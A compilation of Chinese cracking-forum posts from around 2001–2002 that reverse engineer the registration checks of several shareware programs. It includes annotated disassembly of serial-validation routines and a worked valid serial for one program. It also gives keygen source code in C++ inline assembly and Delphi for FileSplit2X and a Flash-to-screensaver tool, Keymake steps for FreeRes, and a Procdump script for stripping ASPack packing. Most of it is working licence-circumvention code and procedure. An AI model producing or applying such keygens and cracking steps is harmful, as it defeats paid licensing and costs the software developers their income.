015F:0040D2CF CALL 0040F290 <<==-- 解密算法
015F:0040D2D4 TEST EAX,EAX <<==-- 比较EAX
015F:0040D2D6 JNZ 0040D2F6 <<==-- 不等，跳，否则出错

Ok, 在 0040D2CF 处，我们F8直接进入，下面，让我们进入神奇的bit世界吧~!去领略BILL构筑的天堂，去感悟人们智慧的结晶!
以下代码，我直接写了一些注释，具体算法分析附在代码之后。
还需要清楚一点的是，以下分析中，* 号代替 30 < * < 46 ，至于为什么，以下分析中我会讲到，还有序列号，我以具体位数代替，譬如第1位序列号，我以0代替，第10位，我以A代替，类推。

015F:0040F290 MOV ECX,[ESP+04] <<=-- ECX 密码存放地址
015F:0040F294 SUB ESP,BYTE +08
015F:0040F297 MOV AL,2D <<=-- AL = 2D = '-'
015F:0040F299 MOV DL,[ECX+04] <<=-- DL = 4 = 第4位序列号
015F:0040F29C PUSH EBX
015F:0040F29D CMP DL,AL <<=-- 4 = '-' ?
015F:0040F29F JNZ NEAR 0040F54F <<=-- 不等错
015F:0040F2A5 CMP [ECX+07],AL <<=-- 7 = '-' ?
015F:0040F2A8 JNZ NEAR 0040F54F
015F:0040F2AE CMP [ECX+0B],AL <<=-- B = '-' ?
015F:0040F2B1 JNZ NEAR 0040F54F
015F:0040F2B7 CMP [ECX+0D],AL <<=-- D = '-' ?
015F:0040F2BA JNZ NEAR 0040F54F
015F:0040F2C0 CMP [ECX+1C],AL <<=-- 1C = '-' ?
015F:0040F2C3 JNZ NEAR 0040F54F
------------------------------==============>>>>>>^^^由以上已看出：
序列号的4,7,B,D,1C位必须为'-'
继续...
015F:0040F2C9 MOV AL,[ECX+0F] <<=-- AL = 0F
015F:0040F2CC CMP AL,30 <<=-- OF < 30 ?
015F:0040F2CE JL NEAR 0040F54F
015F:0040F2D4 CMP AL,46
015F:0040F2D6 JG NEAR 0040F54F <<=-- OF > 46 ?
-------------------------------===========>>>>>>>>^^^^现在知道了吧，我 为什么为 * 号代替 30 < * < 46了
继续...
所以序列号0F为 *
015F:0040F2DC MOV AL,[ECX+10]
015F:0040F2DF CMP AL,30
015F:0040F2E1 JL NEAR 0040F54F
015F:0040F2E7 CMP AL,46
015F:0040F2E9 JG NEAR 0040F54F <<=-- 10 = *
015F:0040F2EF MOV AL,[ECX+11]
015F:0040F2F2 CMP AL,30
015F:0040F2F4 JL NEAR 0040F54F
015F:0040F2FA CMP AL,46
015F:0040F2FC JG NEAR 0040F54F <<=-- 11 = *
015F:0040F302 MOV AL,[ECX+12]
015F:0040F305 CMP AL,30
015F:0040F307 JL NEAR 0040F54F
015F:0040F30D CMP AL,46
015F:0040F30F JG NEAR 0040F54F <<=-- 12 = *
015F:0040F315 MOV AL,[ECX+15]
015F:0040F318 CMP AL,30
015F:0040F31A JL NEAR 0040F54F
015F:0040F320 CMP AL,46
015F:0040F322 JG NEAR 0040F54F <<=-- 15 = *
015F:0040F328 MOV AL,[ECX+16]
015F:0040F32B CMP AL,30
015F:0040F32D JL NEAR 0040F54F
015F:0040F333 CMP AL,46
015F:0040F335 JG NEAR 0040F54F <<=-- 16 = *
015F:0040F33B MOV AL,[ECX+17]
015F:0040F33E CMP AL,30
015F:0040F340 JL NEAR 0040F54F
015F:0040F346 CMP AL,46
015F:0040F348 JG NEAR 0040F54F <<=-- 17 = *
015F:0040F34E MOV AL,[ECX+19]
015F:0040F351 CMP AL,30
015F:0040F353 JL NEAR 0040F54F
015F:0040F359 CMP AL,46
015F:0040F35B JG NEAR 0040F54F <<=-- 19 = *
015F:0040F361 CMP BYTE [ECX],46 <<=-- 序列号第 0 位 ?= 46
015F:0040F364 JNZ NEAR 0040F54F
015F:0040F36A CMP BYTE [ECX+01],50<<=-- 1 ?= 50
015F:0040F36E JNZ NEAR 0040F54F
015F:0040F374 CMP BYTE [ECX+02],31<<=-- 2 ?= 31
015F:0040F378 JNZ NEAR 0040F54F
015F:0040F37E CMP BYTE [ECX+03],38<<=-- 3 ?= 38
015F:0040F382 JNZ NEAR 0040F54F
-----------------------------------==========>>>>>>>>>^^OK，序列号第 1,2,3,4位必须为 46,50,31,38,对应的ASCII码为: FP18
继续...

015F:0040F388 MOV DL,[ECX+05] <<=-- 注意：从此处开始算法
015F:0040F38B MOV BL,[ECX+08] <<=-- 具体算法附后，就不注释了
015F:0040F38E MOV [ESP+10],DL
015F:0040F392 MOV DL,[ECX+17]
015F:0040F395 ADD AL,DL
015F:0040F397 MOV DL,[ECX+16]
015F:0040F39A ADD AL,DL
015F:0040F39C MOV DL,[ECX+15]
015F:0040F39F ADD AL,DL
015F:0040F3A1 MOV DL,[ECX+12]
015F:0040F3A4 ADD AL,DL
015F:0040F3A6 MOV DL,[ECX+11]
015F:0040F3A9 ADD AL,DL
015F:0040F3AB MOV DL,[ECX+10]
015F:0040F3AE ADD AL,DL
015F:0040F3B0 MOV DL,[ECX+0F]
015F:0040F3B3 ADD AL,DL
015F:0040F3B5 MOV DL,[ESP+10]
015F:0040F3B9 XOR AL,DL
015F:0040F3BB MOV DL,[ECX+0C]
015F:0040F3BE XOR AL,BL
015F:0040F3C0 XOR AL,DL
015F:0040F3C2 XOR AL,23
015F:0040F3C4 MOV DL,AL
015F:0040F3C6 SHR DL,04
015F:0040F3C9 ADD DL,30
015F:0040F3CC CMP DL,39
015F:0040F3CF MOV [ESP+04],DL
015F:0040F3D3 JNA 0040F3DC
015F:0040F3D5 ADD DL,07
015F:0040F3D8 MOV [ESP+04],DL
015F:0040F3DC AND AL,0F
015F:0040F3DE ADD AL,30
015F:0040F3E0 CMP AL,39
015F:0040F3E2 MOV [ESP+08],AL
015F:0040F3E6 JNA 0040F3EE
015F:0040F3E8 ADD AL,07
015F:0040F3EA MOV [ESP+08],AL
015F:0040F3EE MOVSX EAX,BYTE [ECX+13] <<=-- 此处注意
015F:0040F3F2 MOV EDX,[ESP+04]
015F:0040F3F6 AND EDX,FF
015F:0040F3FC CMP EAX,EDX <<=-- 13 = [ESP+04] and FF
015F:0040F3FE JNZ NEAR 0040F54F
015F:0040F404 MOV DL,[ECX+14] <<=--
015F:0040F407 PUSH ESI
015F:0040F408 MOV ESI,[ESP+0C]
015F:0040F40C MOVSX EAX,DL
015F:0040F40F AND ESI,FF
015F:0040F415 CMP EAX,ESI <<=-- 14 = [ESP+0C] and FF
015F:0040F417 POP ESI
015F:0040F418 JNZ NEAR 0040F54F
015F:0040F41E MOV AL,[ECX+0A]
015F:0040F421 ADD AL,46
015F:0040F423 XOR AL,[ECX+09]
015F:0040F426 XOR AL,DL
015F:0040F428 MOV DL,[ECX+13]
015F:0040F42B XOR AL,DL
015F:0040F42D XOR AL,BL
015F:0040F42F XOR AL,41
015F:0040F431 MOV DL,AL
015F:0040F433 SHR DL,04
015F:0040F436 ADD DL,30
015F:0040F439 CMP DL,39
015F:0040F43C MOV [ESP+04],DL
015F:0040F440 JNA 0040F449
015F:0040F442 ADD DL,07
015F:0040F445 MOV [ESP+04],DL
015F:0040F449 AND AL,0F
015F:0040F44B ADD AL,30
015F:0040F44D CMP AL,39
015F:0040F44F MOV [ESP+08],AL
015F:0040F453 JNA 0040F45B
015F:0040F455 ADD AL,07
015F:0040F457 MOV [ESP+08],AL
015F:0040F45B MOVSX EDX,BYTE [ECX+1A] <<=--
015F:0040F45F MOV EAX,[ESP+04]
015F:0040F463 AND EAX,FF
015F:0040F468 CMP EDX,EAX <<=-- 1A = [ESP+4] and FF
015F:0040F46A JNZ NEAR 0040F54F
015F:0040F470 MOV BL,[ECX+1B] <<=--
015F:0040F473 MOV EAX,[ESP+08]
015F:0040F477 MOVSX EDX,BL
015F:0040F47A AND EAX,FF
015F:0040F47F CMP EDX,EAX <<=-- 1B = [ESP+08] and FF
015F:0040F481 JNZ NEAR 0040F54F
015F:0040F487 MOV AL,[ECX+06]
015F:0040F48A MOV DL,[ECX+14]
015F:0040F48D XOR AL,DL
015F:0040F48F MOV DL,[ECX+13]
015F:0040F492 XOR AL,DL
015F:0040F494 MOV DL,[ESP+10]
015F:0040F498 XOR AL,DL
015F:0040F49A XOR AL,AB
015F:0040F49C MOV DL,AL
015F:0040F49E SHR DL,04
015F:0040F4A1 ADD DL,30
015F:0040F4A4 CMP DL,39
015F:0040F4A7 MOV [ESP+04],DL
015F:0040F4AB JNA 0040F4B4
015F:0040F4AD ADD DL,07
015F:0040F4B0 MOV [ESP+04],DL
015F:0040F4B4 AND AL,0F
015F:0040F4B6 ADD AL,30
015F:0040F4B8 CMP AL,39
015F:0040F4BA MOV [ESP+08],AL
015F:0040F4BE JNA 0040F4C6
015F:0040F4C0 ADD AL,07
015F:0040F4C2 MOV [ESP+08],AL
015F:0040F4C6 MOVSX EDX,BYTE [ECX+0E] <<=--
015F:0040F4CA MOV EAX,[ESP+04]
015F:0040F4CE AND EAX,FF
015F:0040F4D3 CMP EDX,EAX <<=-- 0E = [ESP+04] and FF
015F:0040F4D5 JNZ 0040F54F
015F:0040F4D7 MOVSX EDX,BYTE [ECX+18] <<=--
015F:0040F4DB MOV EAX,[ESP+08]
015F:0040F4DF AND EAX,FF
015F:0040F4E4 CMP EDX,EAX <<=-- 18 = [ESP+08] and FF
015F:0040F4E6 JNZ 0040F54F
015F:0040F4E8 MOV AL,[ECX+1A]
015F:0040F4EB MOV DL,[ECX+0C]
015F:0040F4EE XOR BL,AL
015F:0040F4F0 XOR BL,DL
015F:0040F4F2 XOR BL,63
015F:0040F4F5 MOV DL,BL
015F:0040F4F7 MOV AL,DL
015F:0040F4F9 SHR AL,04
015F:0040F4FC ADD AL,30
015F:0040F4FE CMP AL,39
015F:0040F500 MOV [ESP+04],AL
015F:0040F504 JNA 0040F50C
015F:0040F506 ADD AL,07
015F:0040F508 MOV [ESP+04],AL
015F:0040F50C AND DL,0F
015F:0040F50F ADD DL,30
015F:0040F512 CMP DL,39
015F:0040F515 MOV [ESP+08],DL
015F:0040F519 JNA 0040F522
015F:0040F51B ADD DL,07
015F:0040F51E MOV [ESP+08],DL
015F:0040F522 MOVSX EDX,BYTE [ECX+1D] <<=--
015F:0040F526 MOV EAX,[ESP+04]
015F:0040F52A AND EAX,FF
015F:0040F52F CMP EDX,EAX <<=-- 1D = EAX
015F:0040F531 JNZ 0040F54F
015F:0040F533 MOVSX ECX,BYTE [ECX+1E] <<=-- 注意，快结束啦
015F:0040F537 MOV EDX,[ESP+08]
015F:0040F53B XOR EAX,EAX <<=-- EAX = 0
015F:0040F53D AND EDX,FF
015F:0040F543 POP EBX
015F:0040F544 CMP ECX,EDX <<=-- 根据比较的值，设置EAX
015F:0040F546 SETZ AL <<=-- 相等，则 EAX = 1
015F:0040F549 ADD ESP,BYTE +08
015F:0040F54C RET 04
015F:0040F54F XOR EAX,EAX <<=-- 错误，返回模块
015F:0040F551 POP EBX
015F:0040F552 ADD ESP,BYTE +08
015F:0040F555 RET 04

(3) 算法分析
(注：1,2,3...1A,1B...指的是序列号的位数，而a,b,...是我用的变量)
[1], 19 + 17 = a
[2], a + 16 = b
[3], b + 15 = c
[4], c + 12 = d
[5], d + 11 = e
[6], e + 10 = f
[7], f + OF = g
================= <<==---重置
[8], g xor 5 = a
[9], a xor 8 = b
[10], b xor 0c = c
[11], c xor 23 = d ----------
[12], d SHR 4 |
[13], d + 30 = e |
[14], if e<= 39 |
[esp+04] = e + 7 |
else |
[esp+04] = e |
================= <<==-- 重置 |
[15], a = d <--|
[16], a and 0F = b
[17], b + 30 = c
[18], if c <= 39
[esp+08] = c + 7
else
[esp+08] = c
=====================<<==--重置
[19], [esp+04] and OFF = a
[20], 13 = a <<==-- 第13位序列号
=====================<<==--重置
[21], [esp+0c] and oFF = a
[22], 14 = a <<==-- 第14位序列号
================== <<==-- 重置
[23], 0A and 46 = a
[24], a xor 9 = b
[25], b xor 14 = c
[26], c xor 13 = d
[27], d xor 8 = e
[28], e xor 41 = f ---------
[29], f shr 4 |
[30], f +30 = g |
[31], if g <= 39 |
[esp+04] = g + 07 |
else |
[esp+04] = g |
================= <<==-- 重置 |
[32], a = f <--------|
[33], a and 0F = b
[34], b + 30 = c
[35], if c <= 39
[esp+08] = c + 07
else
[esp+08] = c
================= <<==-- 重置
[36], a = [esp+04]
[37], a and 0FF = b
[38], 1A = b <<==-- 第1A位序列号
================= <<==-- 重置
[39], a = [esp+08]
[40], a and 0FF = b
[41], 1B = b <<==-- 第1B位序列号
================ <<==-- 重置
[42], 6 xor 14 = a
[43], a xor 13 = b
[44], b xor 5 = c
[45], c xor AB = d -----------
=============== <<==-- 重置 |
[46], a = d |
[47], a shr 4 |
[48], a + 30 = b |
[49], if b <= 39 |
[esp+04] = b+07 |
else |
[esp+04] = b |
=============== <<==-- 重置 |
[50], a = d <-----------------|
[51], a and 0F = b
[52], if c <= 39
[esp+08] = c + 7
else
[esp+08] = c
============== <<==-- 重置
[53], [esp+04] and 0FF = a
[54], 0E = a <<==-- 第0E位序列号
============= <<==-- 重置
[55], [esp+08] and 0FF = a
[56], 18 = a <<==--- 第18位序列号
================ <<==-- 重置
[57], 1A xor 1B = a
[58], a xor 0c = b
[59], b xor 63 = c -----------
================ <<==-- 重置 |
[60], a = c |
[61], a shr 4 |
[62], a + 30 = b |
[63], if b <= 39 |
[esp+04] = b+07 |
else |
[esp+04] = b |
================ <<==-- 重置 |
[64], a = c <---------------|
[65], a and 0F = b
[66], b + 30 = c
[67], if c <= 39
[esp+08] = c + 07
else
[esp+08] = c
=============== <<==-- 重置
[68], [esp+04] and 0FF = a
[69], 1D = a <<==-- 第1D位序列号
=============== <<==-- 重置
[70], [esp+08] and 0FF = a
[71], 1E = a <<==-- 第1E位序列号

Ok,写了这么长，手都有点写累了，看上去是不是很复杂呀，其实，自己实际的跟一下，再画一张草图就什么都明白了，CRACK = 毅力 + ...
以下是我跟的一组数据，大家如果还没有眼花的话就看看吧。

看时，最好最大化浏览。
0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , A , B , C , D , E , F , 10 , 11 , 12 , 13 , 14 , 15 , 16
'F' 'P' '1' '8' '-' '-' '-' '-' * * * * * *

17 , 18 , 19 , 1A , 1B , 1C , 1D , 1E , 1F
* * '-'

首先虚拟一组注册序列号,其中的 * 号，我用 9 来代替，你也完全可用其他数据，但要注意： 30 < * < 46 呦!

FP18-00-000-0-0****00***0*00-000
(1) FP18-00-000-0-09999009990900-000 --=>> 13 = 44 (D)
FP18-00-000-0-09999D09990900-000

(2) FP18-00-000-0-09999D09990900-000 --=>> 14 = 42 (B)
FP18-00-000-0-09999DB9990900-000

(3) FP18-00-000-0-09999DB9990900-000 --=>> 1A = 33 (3)
FP18-00-000-0-09999DB9990930-000

(4) FP18-00-000-0-09999DB9990930-000 --=>> 1B = 31 (1)
FP18-00-000-0-09999DB9990931-000

(5) FP18-00-000-0-09999DB9990931-000 --=>> 0E = 41 (A)
FP18-00-000-0-A9999DB9990931-000

(6) FP18-00-000-0-A9999DB9990931-000 --=>> 18 = 44 (D)
FP18-00-000-0-A9999DB999D931-000

(7) FP18-00-000-0-A9999DB999D931-000 --=>> 1D = 35 (5)
FP18-00-000-0-A9999DB999D931-500

(8) FP18-00-000-0-A9999DB999D931-500 --=>> 1E = 31 (1)

FP18-00-000-0-A9999DB999D931-510 <<=-- 密码在此,终于搞定 ;-)

最后一句：DSQ，你在上海理工大一切还好吗?我爱你!,但天涯海角，终究注定此生无缘!

BitRanger 小笔于 2002.1.9


FileSplit2X

 标 题:Crack之亲历手迹4--一个许久以前的心愿-FileSplit2X的注册码生成器 (1千字)
发信人:y97523
时 间:2002-3-9 20:00:01
详细信息:
Crack之亲历手迹4--一个许久以前的心愿-FileSplit2X的注册码生成器
//-------------------------------------------------
目标程序：FSplit.EXE：2.21 (Build 356)
可以分割文件,主EXE可以绿色运行
Visual C++5.0编写，未加壳
破解目标：找到注册码，最好做出注册机
//--------------------------------------------------
注册机代码:
void CFilesplit2XDlg::OnChangeName()
{
int D1=1,D2=2;
int D3;
UpdateData(TRUE);
if(m_Name!="")
{
LPCTSTR temp=m_Name.GetBuffer(m_Name.GetLength());
D3=GetmyCode(temp,D1,D2);
m_Name.ReleaseBuffer();
m_Code.Format("%d-%d-%d",D1,D2,D3);
}else
m_Code="";
UpdateData(FALSE);
}
密码算法:
int CFilesplit2XDlg::GetmyCode(LPCTSTR Name, int D1, int D2)
{
__asm
{
mov edi,Name

mov ecx, D1
xor edx, edx
lea eax, [ecx+0xFAC]
mov cl, [edi+0]
mov esi, D2
loc_40687D:
mov ebx, eax
and ebx, 0x4000
cmp bx, 0x4000
jz loc_406890
add eax, eax
jmp loc_406899
loc_406890:
and eax, 0x3FFF
shl eax, 1
or al, 1
loc_406899:
movsx cx, cl
xor eax, esi
xor eax, ecx
mov cl, [edx+edi+1]
inc edx
test cl, cl
jnz loc_40687D
movsx eax,ax
};
}
Email:y97523@hotmail.com


Flash转屏保1.0注册机

 标 题:Flash转屏保1.0注册机（delphi版） (1千字)
发信人:小楼
时 间:2001-10-14 14:56:47
详细信息:
//Flash转屏保1.0版注册机（delphi版）
//http://xtzy.51.net/soft/flashscr/flashs.zip
//delphi5.0+控件kol&MCK1.01制作

{ KOL MCK } // Do not remove this line!
{$DEFINE KOL_MCK}
unit Unit1;

interface

{$IFDEF KOL_MCK}
uses Windows, Messages, ShellAPI, KOL {$IFNDEF KOL_MCK}, mirror, Classes,
Controls, mckCtrls {$ENDIF};
{$ELSE}
{$I uses.inc}
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
mirror;
{$ENDIF}

type
{$IFDEF KOL_MCK}
{$I MCKfakeClasses.inc}
PfrmMain = ^TfrmMain;
TfrmMain = object(TObj)
Form: PControl;
{$ELSE not_KOL_MCK}
TfrmMain = class(TForm)
{$ENDIF KOL_MCK}
KOLForm1: TKOLForm;
KOLProject1: TKOLProject;
Label1: TKOLLabel;
Label2: TKOLLabel;
EditBox1: TKOLEditBox;
EditBox2: TKOLEditBox;
Button1: TKOLButton;
procedure Button1Click(Sender: PObj);
private
{ Private declarations }
public
{ Public declarations }
end;

var
frmMain {$IFDEF KOL_MCK} : PfrmMain {$ELSE} : TfrmMain {$ENDIF} ;

{$IFDEF KOL_MCK}
procedure NewfrmMain( var Result: PfrmMain; AParent: PControl );
{$ENDIF}

implementation

{$IFNDEF KOL_MCK} {$R *.DFM} {$ENDIF}

{$IFDEF KOL_MCK}
{$I Unit1_1.inc}
{$ENDIF}

procedure TfrmMain.Button1Click(Sender: PObj);
var serial,machinecode:integer;
begin
machinecode:=str2int(editbox1.text);
serial:=machinecode xor ($111a7b-(machinecode mod $a));
editbox2.text:=int2str(serial);
end;

end.

//MCK&KOL的作用使得完成的注册机只有30K大小，i like it!.


FreeRes.exe V0.94

 标 题:注册FreeRes.exe V0.94,并用Keymake　1.33版本做它的注册机！ (6千字)
发信人:oake
时 间:2002-1-5 13:51:03
详细信息:
程序名称：FreeRes.exe V0.94
软件简介：摘录软件说明

现在的加壳压缩工具越来越多，而且国内外越来越多的共享软件制作者都喜欢用这些工具（包括我在内，ResTools 系列工具软件也经过 ASPack 压缩），令到 ASPack，UPX 之流的软件大行其道，但国内汉化界所面对的问题却越来越严重，因为被压缩的资源无法正常编辑。而在这时候，相继出现了一部分脱壳工具，收到不错的效果，解决了不少问题；同时，也出现了一些只分析压缩资源而非脱壳工具之流的工具。针对压缩资源，我开发了 ResTools 系列工具的一员：freeRes

下载地址：http://go6.163.com/restools/fr011110.zip
破解目的：找出注册码。 用Keymake　1.33版本做它的注册机！
工具：Trw2000 1.22 ,w32dsm89黄金版 ,Procdump V1.62

说明：原exe文件是加壳的，用fi可以看出来，用相应的程序(Procdump等，后附script.ini的扩展)
可以去掉壳。 程序在你输入注册码后，把你输入的注册名和注册码存储在注册表里的同时进行注册码
比较。

启动Trw2000 载入FreeRes.exe
下断点 bpx regqueryvalueexa
f5 返回程序
点击程序 Help 菜单，点击注册输入注册名字和注册码，确定。
“啪”断下来了吧！！
bc * 清除断点
pmodule 返回程序领空
慢慢按 F10 来到如下地方:

* Possible StringData Ref from Data Obj ->"SOFTWARE\RESTOOLS\freeRes"
|
:004BBC4A BAA4BD4B00 mov edx, 004BBDA4
:004BBC4F 8B45F8 mov eax, dword ptr [ebp-08]
:004BBC52 E8A1F4FFFF call 004BB0F8
:004BBC57 84C0 test al, al
:004BBC59 0F84F4000000 je 004BBD53
:004BBC5F 8D45F4 lea eax, dword ptr [ebp-0C]
:004BBC62 E82580F4FF call 00403C8C
:004BBC67 8D45F0 lea eax, dword ptr [ebp-10]
:004BBC6A E81D80F4FF call 00403C8C

* Possible StringData Ref from Data Obj ->"reguser"
|
:004BBC6F BAC8BD4B00 mov edx, 004BBDC8
:004BBC74 8B45F8 mov eax, dword ptr [ebp-08]
:004BBC77 E898F7FFFF call 004BB414
:004BBC7C 84C0 test al, al
:004BBC7E 7410 je 004BBC90
:004BBC80 8D4DF4 lea ecx, dword ptr [ebp-0C]

* Possible StringData Ref from Data Obj ->"reguser"
|
:004BBC83 BAC8BD4B00 mov edx, 004BBDC8
:004BBC88 8B45F8 mov eax, dword ptr [ebp-08]
:004BBC8B E830F6FFFF call 004BB2C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004BBC7E(C)
|

* Possible StringData Ref from Data Obj ->"regcode"
|
:004BBC90 BAD8BD4B00 mov edx, 004BBDD8
:004BBC95 8B45F8 mov eax, dword ptr [ebp-08]
:004BBC98 E877F7FFFF call 004BB414
:004BBC9D 84C0 test al, al
:004BBC9F 7410 je 004BBCB1
:004BBCA1 8D4DF0 lea ecx, dword ptr [ebp-10]

* Possible StringData Ref from Data Obj ->"regcode"
|
:004BBCA4 BAD8BD4B00 mov edx, 004BBDD8
:004BBCA9 8B45F8 mov eax, dword ptr [ebp-08]
:004BBCAC E80FF6FFFF call 004BB2C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004BBC9F(C)
|
:004BBCB1 8B45F0 mov eax, dword ptr [ebp-10] ;<-输入的假注册码
:004BBCB4 E85382F4FF call 00403F0C
:004BBCB9 83F828 cmp eax, 00000028 ;<-注册码的长度40
:004BBCBC 0F8591000000 jne 004BBD53 ;<-不等就跳，注册失败
:004BBCC2 8B45F4 mov eax, dword ptr [ebp-0C]
:004BBCC5 E84282F4FF call 00403F0C
:004BBCCA 85C0 test eax, eax
:004BBCCC 0F8E81000000 jle 004BBD53
:004BBCD2 68348C0000 push 00008C34
:004BBCD7 8D45EC lea eax, dword ptr [ebp-14]
:004BBCDA 50 push eax
:004BBCDB B983310000 mov ecx, 00003183
:004BBCE0 BAD6030000 mov edx, 000003D6
:004BBCE5 8B45F4 mov eax, dword ptr [ebp-0C]
:004BBCE8 E823FCFFFF call 004BB910
:004BBCED 8B55EC mov edx, dword ptr [ebp-14]
:004BBCF0 8D45F4 lea eax, dword ptr [ebp-0C]
:004BBCF3 E82C80F4FF call 00403D24
:004BBCF8 8D55E8 lea edx, dword ptr [ebp-18]
:004BBCFB 8B45F4 mov eax, dword ptr [ebp-0C]
:004BBCFE E89DFAFFFF call 004BB7A0
:004BBD03 8B45E8 mov eax, dword ptr [ebp-18] ;<-真注册码
:004BBD06 8B55F0 mov edx, dword ptr [ebp-10] ;<-输入的假注册码
:004BBD09 E80E83F4FF call 0040401C <<==关键比较
:004BBD0E 750C jne 004BBD1C
:004BBD10 A100144D00 mov eax, dword ptr [004D1400]
:004BBD15 8B00 mov eax, dword ptr [eax]
:004BBD17 E87049F9FF call 0045068C

:0040401C 53 push ebx
:0040401D 56 push esi
:0040401E 57 push edi
:0040401F 89C6 mov esi, eax
:00404021 89D7 mov edi, edx
:00404023 39D0 cmp eax, edx D EAX 真注册码 D edx 假注册码
:00404025 0F848F000000 je 004040BA

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

用Keymake　1.33版本做它的注册机！
一）选择F8－另类注册机！
1、程序名称：freeRes.exe(脱壳后)
2、添加数据：
    中断地址：4bbd0
中断次数：1
    第一字节：E8
    指令长度：5

再次添加数据：
    中断地址：404023
中断次数：1
    第一字节：39
   指令长度：2

二、选择寄存器方式　EAX

  先第一次运行注册信息后，再运行本注册机！一切OK！能显示40位长注册码！！！

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
==> 一点题外话：程序注册后，一起动就退出。谁能把它砍翻？

用Procdump脱Asppack壳的 script.ini 扩展

在[INDEX]后添加
pXX=Aspack (XX为十六进制)

[Aspack]
L1=OBJR
L2=LOOK EB,?
L3=JZ 5
L4=QUIT
L5=BP
L6=WALK
L7=OBJR
L8=LOOK 61,75
L9=BP
LA=STEP
OPTL1=00000000
OPTL2=01010001
OPTL3=01010001
OPTL4=00030000
OPTL5=00000000

这样一来 Procdump 就可以脱掉到目前为止所有 Asppack 的壳了。

标 题:难道oake还不知到中计吗？？？？？？？？？？ (1千字)
发信人:天山折梅手
时 间:2002-1-5 22:24:26
详细信息:

:004BBD03 8B45E8 mov eax, dword ptr [ebp-18]
:004BBD06 8B55F0 mov edx, dword ptr [ebp-10]
:004BBD09 E80E83F4FF call 0040401C--------->暗桩！“假假”注册码对比，如相等则作者发觉你在破解它然后退出！
:004BBD0E 750C jne 004BBD1C---------->一定要跳才行，不能让“假假”注册码相等！
:004BBD10 A100144D00 mov eax, dword ptr [004D1400]
:004BBD15 8B00 mov eax, dword ptr [eax]
:004BBD17 E87049F9FF call 0045068C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004BBD0E(C)
|
:004BBD1C 68348C0000 push 00008C34
:004BBD21 8D45E4 lea eax, dword ptr [ebp-1C]
:004BBD24 50 push eax
:004BBD25 B983310000 mov ecx, 00003183
:004BBD2A BAD6030000 mov edx, 000003D6
:004BBD2F 8B45F0 mov eax, dword ptr [ebp-10]
:004BBD32 E8C9F9FFFF call 004BB700
:004BBD37 8B55E4 mov edx, dword ptr [ebp-1C]
:004BBD3A 8D45F0 lea eax, dword ptr [ebp-10]
:004BBD3D E8E27FF4FF call 00403D24
:004BBD42 8B45F4 mov eax, dword ptr [ebp-0C]
:004BBD45 8B55F0 mov edx, dword ptr [ebp-10]
:004BBD48 E8CF82F4FF call 0040401C--------------->注册名与注册码变形后之值对比！
:004BBD4D 7504 jne 004BBD53---------------->一定不能跳！即值要相等。
:004BBD4F C645FF01 mov [ebp-01], 01------->!!

注册码可不那么好找！

标 题:关于 freeRes V0.94 的声明 (298字)
发信人:oake
时 间:2002-1-6 11:45:30
详细信息:

我的帖子确实中了freeRes V0.94的暗桩，软件作者可能是发现V0.6 版被破解
后设的。跟踪后发现它是把注册名和机器码进行两种转换，真正对比的是转换
后的两个八位十进制数，我不想再破解它了，给国产软件作者一点支持！
如果你喜欢 freeRes V0.94 请注册(人民币8元).
作为补偿，我把 PopUp Killer 1.41 的注册方法帖出


getPassword2.3

 标 题:getPassword2.3注册码计算分析过程 (3千字)
发信人:Maomao[BCG]
时 间:2001-11-7 1:21:30
详细信息:
GetPassword2.3注册码生成分析

下载：
http://gaoasp.home.sohu.com/

本程序没有加壳，暴力破解非常简单，只要用w32dasm分析一下就可找到。但由于注册中无明码比较，本文就它的注册码生成的原理分析，推算出注册码，根据算法，可以很快的写出一个注册机。

  用TRW载入它，下bpx getwindowtexta，F5返回，出现注册窗口，填入大名：MAOMAO,注册码7654321,按OK后中断，下BD *，再下pmodule，来到这里：
0177:00415FE7 CALL `USER32!GetMessageA`
0177:00415FED TEST EAX,EAX　　　　　<====光标停在这里
0177:00415FEF JZ 00416017
0177:00415FF1 CMP DWORD [ESI+34],036A
0177:00415FF8 JZ 00416014
0177:00415FFA MOV EAX,[ESI]
0177:00415FFC PUSH EDI
按住F10,经过一段读姓名并变成小写字母和读输入的注册码的程序后来到这里:

0177:0040523B MOV EBP,[ESP+24] <=====这里下D ebp可以看到你的用户名被加上"whm_w",
变成了"maomaowhm_w"(变成小写)
0177:0040523F XOR EDX,EDX
0177:00405241 MOV DL,[EAX+EBP] <=====取第1个字母
0177:00405244 MOV EBP,[ESP+18]
0177:00405248 ADD EBP,EDX <=====和上一句完成累加
0177:0040524A INC EAX <=====计数器加1
0177:0040524B CMP EAX,ECX <=====ECX为字符总个数
0177:0040524D MOV [ESP+18],EBP <=====保存这一次累加结果
0177:00405251 JC 0040523B <=====没结束则取下一字符
这样,你的用户名就被小写后加上后缀"whm_w"，并将所有的字母累加。
按F10，程序在这里取你输入的注册码进行计算：
0177:00407A0B CMP DWORD [004254DC],BYTE +01 <=====这里D EDI可看到被截掉后两位的
                                                          注册码76543
0177:00407A12 JNG 00407A20
0177:00407A14 PUSH BYTE +04
0177:00407A16 PUSH ESI
0177:00407A17 CALL 0040AA9C
0177:00407A1C POP ECX
0177:00407A1D POP ECX
0177:00407A1E JMP SHORT 00407A2B
0177:00407A20 MOV EAX,[004252D0]
0177:00407A25 MOV AL,[EAX+ESI*2]
0177:00407A28 AND EAX,BYTE +04
0177:00407A2B TEST EAX,EAX
0177:00407A2D JZ 00407A3C
0177:00407A2F LEA EAX,[EBX+EBX*4]　　<=====核心
0177:00407A32 LEA EBX,[ESI+EAX*2-30] <=====核心　完成向十进制的转化
0177:00407A36 MOVZX ESI,BYTE [EDI]
0177:00407A39 INC EDI
0177:00407A3A JMP SHORT 00407A0B
0177:00407A3C CMP EBP,BYTE +2D
0177:00407A3F MOV EAX,EBX <=====转化后的结果放入EAX
0177:00407A41 JNZ 00407A45
0177:00407A43 NEG EAX
0177:00407A45 POP EDI
0177:00407A46 POP ESI
0177:00407A47 POP EBP
0177:00407A48 POP EBX
0177:00407A49 RET
接着，程序又取剩下的2位注册码，再进入上面这段程序，转化成十进制。然后就来到这里进行比较：
